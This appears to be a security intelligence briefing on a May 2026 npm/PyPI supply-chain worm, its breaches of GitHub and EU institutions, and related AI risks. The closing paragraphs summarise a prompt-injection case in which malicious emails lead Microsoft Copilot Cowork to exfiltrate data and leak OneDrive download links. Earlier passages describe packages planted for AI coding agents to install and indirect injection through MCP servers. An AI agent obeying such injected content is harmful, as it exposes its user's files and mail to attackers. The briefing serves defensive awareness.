Version 10

The Mini Shai-Hulud supply chain campaign — launched May 11, 2026 by threat actor TeamPCP — has compromised 170+ npm and PyPI packages, breached approximately 3,800–4,000 GitHub internal repositories [4][6], exposed 30 EU institutions via the Trivy container-security scanner [11], and potentially extends to axios, one of the most downloaded JavaScript libraries in history [20]. On May 26, Simon Willison documented a concrete data exfiltration vulnerability in shipping Microsoft Copilot Cowork: prompt injection via malicious emails can leak OneDrive pre-authenticated download links, enabling file access without user approval [29]. MCP servers have simultaneously emerged as a recognized AI attack surface, with Microsoft, Datadog, and Palo Alto Networks all publishing on indirect prompt injection risks [30][31][32]. The AI governance thread centers on Claude Mythos Preview — the first AI system to autonomously complete AISI offensive cyber ranges — remaining withheld from deployment while NIST's CAISI serves as the US pre-deployment compliance gate [23][27].

Two threats are converging: AI systems exploited as attack vectors (supply chain weaponization via coding agents, MCP injection) and AI systems exploited as attack targets (Copilot Cowork data exfiltration, tool poisoning). The Copilot Cowork finding demonstrates that preventing data exfiltration is structurally unsolved in shipping agentic products, while the potential axios compromise illustrates how a single credential theft can cascade into transitive risk across hundreds of millions of projects — and the AntV wave's Sigstore badge-faking technique means standard provenance attestation cannot detect it.

The Mini Shai-Hulud supply chain campaign, launched by threat actor TeamPCP on May 11, 2026, began as a self-spreading worm targeting npm and PyPI packages, ultimately compromising more than 170 packages — including TanStack, LiteLLM, Guardrails AI, and Telnyx — and exfiltrating code-signing certificates from two OpenAI employee devices, triggering a mandatory app certificate rotation deadline of June 12, 2026 [1][2][3]. GitHub confirmed the theft of approximately 3,800–4,000 internal repositories via a poisoned VS Code extension (Nx Console version 18.95.0), with Forbes reporting a $50,000 ransom demand [4][5][6]. CVE-2026-33634 (CVSS 9.4) was formally assigned and added to CISA's Known Exploited Vulnerabilities catalog [7][8], Broadcom confirmed downstream exposure in Tanzu Application Platform and Spring Enterprise through the Trivy container-security scanner [9], and Mandiant quantified total campaign impact at more than 1,000 compromised SaaS environments [10]. CERT-EU officially confirmed that the European Commission's cloud infrastructure was breached via the same Trivy vector, exposing data across 30 EU institutions [11][12].

The campaign's second wave — characterized by the Cloud Security Alliance as 'Shai-Hulud/Megalodon' — involved 600+ malicious npm packages in the AntV data visualization ecosystem that used a novel technique to fake Sigstore security verification badges, undermining a primary supply chain trust signal without triggering standard provenance checks [13][14]. Socket.dev traced the campaign's initial access to a phishing attack against npm package author 'Qix,' whose compromised credentials seeded the broader worm [15]. Snyk's identification of a Bun-based stealer and Socket.dev's SAP CAP analysis documented specific malware components in the enterprise segment [16][17], while RedRays and Mend.io framed the SAP attack as deliberately designed to weaponize AI coding agents by injecting malicious packages into dependency trees those tools automatically install [18][19]. The most consequential potential expansion is Huntress's documentation of an axios npm compromise [20] — axios is a transitive dependency for hundreds of millions of JavaScript projects, meaning confirmed inclusion in the campaign would dwarf all previously quantified exposure figures. SOCRadar has published a formal dark web profile of TeamPCP [21], and WIRED characterized GitHub as 'just the latest victim' of a serial campaign [22], signaling the incident has crossed into mainstream security awareness.

The AI governance dimension centers on AISI's official evaluation of Claude Mythos Preview, which autonomously completed both UK offensive cyber ranges — including a 32-step scenario — making it the first AI system to do so [23][24]. The Turing Institute's CETAS has assessed the structural implications of this capability threshold [25], and AuthMind argues that Anthropic's decision to withhold Mythos from public deployment is a significant policy signal: if labs retain their most capable models in reserve, voluntary frameworks like NIST's CAISI may evaluate a curated rather than frontier subset of AI capability, leaving the most dangerous systems outside public audit [26][27]. The Foundation for American Innovation has defended CAISI as a pragmatic first step toward structured federal oversight [28], while Zvi Mowshowitz has characterized governance anchored in cybersecurity as politically captured.

On May 26, 2026, Simon Willison documented a concrete data exfiltration vulnerability in shipping Microsoft Copilot Cowork: agents can send emails to users' inboxes without approval, and because those emails can contain external images triggering network requests, attackers can exfiltrate data when a user opens a compromised message [29]. OneDrive's pre-authenticated download links can also be leaked via successful prompt injection, allowing file access without further authentication [29]. Willison frames preventing data exfiltration as 'the biggest challenge in designing agentic systems' — a characterization aligned with the broader institutional discourse around MCP servers as an emerging attack surface, with Microsoft, Datadog, and Palo Alto Networks all publishing on indirect prompt injection risks in MCP environments [30][31][32]. These findings establish that AI systems face attack not only through their software dependencies but through the agentic capabilities they expose to adversarial external content.